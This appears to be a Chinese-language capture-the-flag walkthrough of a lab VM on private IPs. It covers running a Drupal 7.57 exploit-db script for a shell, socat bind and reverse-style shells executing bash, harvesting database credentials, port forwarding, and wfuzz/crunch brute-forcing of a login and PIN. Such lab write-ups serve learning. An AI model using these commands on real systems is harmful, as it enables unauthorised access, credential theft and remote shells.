21端口的信息用完了,再研究下8000端口。

访问192.168.92.3:8000

是一个登录网站,网站内容透露username是pinkadmin。根据之前nmap的结果,发现了一些网站路径。
其中,changelog.txt文件是一个(软件)更新日志文件。
访问192.168.92.3:8000/CHANGELOG.txt

可以发现,Drupal(CMS)的版本是7.57。CMS可以理解为网站模板。
(1)使用searchsploit命令直接查找Drupal 7.57的漏洞。

注:
searchsploit是一个用于Exploit-DB的命令行搜索工具,Kali Linux中保存了一个该漏洞库的拷贝,可以帮助我们查找渗透模块。
(2)下载脚本
/usr/share/exploitdb/exploit/php/webapps/44449.rb

运行ruby程序,需要安装highline。
(3)安装highline
因为是要安装ruby的包(highline),所以需要用到ruby的包管理器gem,就相当于下载python安装包时需要使用pip一样。

payload:ruby 44449.rb http://192.168.92.3:8000

拿到shell!

获取flag2。
使用ls -al查看该目录下所有文件及其属性。

关于文件属性,以下面两个文件的文件属性为例:
-rw-r--r-- 1 root root 28 Aug 14 18:01 flag2.txt
drwxr-xr-x 4 www-data www-data 4096 Feb 21 2018 sites
d和-,分别表示目录文件和普通文件。rwx分别表示可读(read)可写(write)可执行(execute)。drwxr-xr-x可划分为d|rwx|r-x|r-x,分别代表文件类型、文件所有者权限、用户组权限和其他用户权限。www-data www-data,第一个www-data代表文件所有者,第二个www-data代表文件所有者所属的组。www-data对该文件具有读写执行的权限,属于www-data这个组的成员对该文件具有读和执行的权限,而其他用户只有执行的权限。尝试进入目录,失败。

socat是nc(瑞士军刀)的一个变种,基本命令如下:
socat [参数] <地址1> <地址2>
简单来说,socat所做的事就是:把左边地址的输出数据传给右边,同时又把右边输出的数据传到左边。具体请参考:新版瑞士军刀:socat
因为靶机的防火墙规则使得靶机不能主动建立TCP连接,所以我们使用socat建立正向shell,下面是相关命令:
socat TCP-LISTEN:1111,reuseaddr,fork EXEC:bash,pty,stdeer,setsid,sigint,sane // 靶机
socat file:`tty`,raw,echo=0 tcp:192.168.92.3:1111 // kali

翻遍目录,发现 var/www/html/sites/default/settings 里面好像有东西,得到数据库名、用户名和密码。

mysql -u dpink -p // 连接数据库
drupink

show databases; // 查看数据库名
use drupal; // 打开数据库
show tables; // 显示数据表
select * from users; // 查询
select name,pass from users;

似乎无法解密。

netstat -a // -a:显示所有链接和监听端口

关于Local Address的解释:
既然本机开放了80端口和65334端口,但是只允许本机访问,那么我们需要使用socat进行端口转发,使得外部设备能够访问80端口和65334端口上的服务。
命令如下:
socat tcp-listen:8888,fork tcp:127.0.0.1:80 & //靶机
上述命令的大概意思就是靶机上监听8888端口,将8888端口的流量发送给127.0.0.1:80,实现本地转发。

通过nmap -sV 192.168.92.3获得服务版本的详细信息。

在kali上访问192.168.92.3:7777,显示数据库正在开发。

在kali上访问192.168.92.3:8888,发现后台登录页面。简单试了一下,不存在SQL注入,下面进行爆破。

(1)wfuzz简介
Wfuzz是一款为了评估WEB应用而生的模糊测试工具,它基于一个简单的理念,即用给定的Payload去fuzz。它允许在HTTP请求里注入任何输入的值,针对不同的WEB应用组件进行多种复杂的爆破攻击。比如:参数、认证、表单、目录/文件、头部等等,这款工具在kali里面自带。
(2)目录遍历
既然7777端口显示数据库正在开发,遍历下目录,看看有没有发现。命令:
wfuzz --sc 200 -w /usr/share/wordlists/dirb/common.txt "http://192.168.92.3:7777/FUZZs.db"
--sc 200表示显示响应码为200的请求-w <路径>表示字典路径FUZZ表示fuzz的部分,就相当于一个变量。加s纯属是字典中的值没有复数s。.db是为了跑数据库文件


加s才能将db文件跑出来,也就是说字典很重要,字典里有就能跑出来,没有就跑不出。
访问192.168.92.3:7777/pwds.db,可以拿到一个密码字典,其中的密码可能是那个GUESS网址的密码。

一共18条密码。
linux下/etc/passwd是一个文本文件,其中包含了登录linux系统所必须的每个用户的信息,会保存用户名和密码等信息,只是密码不是明文保存,且保存在/etc/shadow文件中。
以/etc/passwd中的一行信息为例:
root:x:0:0:root:/root:/bin/bash
/etc/passwd文件将每个用户的详细信息写为一行,其中包含七个字段,每个字段之间用冒号:分隔:
| 字段 | 含义 |
|---|---|
| 用户名 | 用户登录密码时使用的用户名 |
| 密码 | 密码,x表示用户设有密码,但是密码保存在/etc/shadow |
| UID | 用户ID,用于识别用户权限(超级用户、系统用户、普通用户) |
| GID | 用户初始值组ID |
| 描述性信息 | 描述 |
| 主目录 | 用户的主目录,例如:root主目录为/root,普通用户kali的主目录为/home/kali |
| 默认shell | linux系统默认使用/bin/bash,还有其他命令解释器,如/bin/zsh |
查看cat /etc/passwd

发现如下关键用户名:
root、pinky、pinksec、pinksecmanagement,再加上访问8000端口时提示pinkadmin,一共5个用户名。
(1)用户名和密码的破解
因为5*18*10^5 =9*10^6,计算量巨大。因此,首先固定pin值进行爆破。将用户名和密码分别保存在user.txt和passwd.txt中,使用wfuzz进行爆破,命令如下:
wfuzz -w user.txt -w passwd.txt -d "user=FUZZ&pass=FUZ2Z&pin=12345" http://192.168.208.138:2222/login.php
-d代表使用post数据。

返回值不一样,得到用户名和密码。
(2)pin破解
使用crunch生成5位数字,命令如下:
crunch 5 5 1234567890 > pin.txt
crunch语法:crunch[ ] [options] min-len表示生成的最小长度字符串;max-len表示生成的最大长度字符串;charset string表示字符集设置
wfuzz --hh 41,45 -w pin.txt -d "user=pinkadmin&pass=AaPinkSecaAdmin4467&pin=FUZZ" http://192.168.92.3:8888/login.php
--hh:过滤chars值为41和45的响应。

pin值为23081。
登录去咯~,登录后发现有一个可执行窗口。

反弹shell:
socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp-listen:3333,bind=0.0.0.0,reuseaddr,fork // 靶机,网页
socat file:`tty`(不是单引号),raw,echo=0 tcp:192.168.92.3:3333 // kali

注意:反弹shell和正向shel的区别(个人理解)
- 正向shell是在靶机上新建了一个窗口,然后kali去连接该shell;
- 反弹shell是靶机上存在一个shell,将其反弹给kali。

将正向shell的命令使用到网页上,kali上无法拿到shell。

之后就是常规操作,flag3在/home/pinksec/bin/flag3.txt。
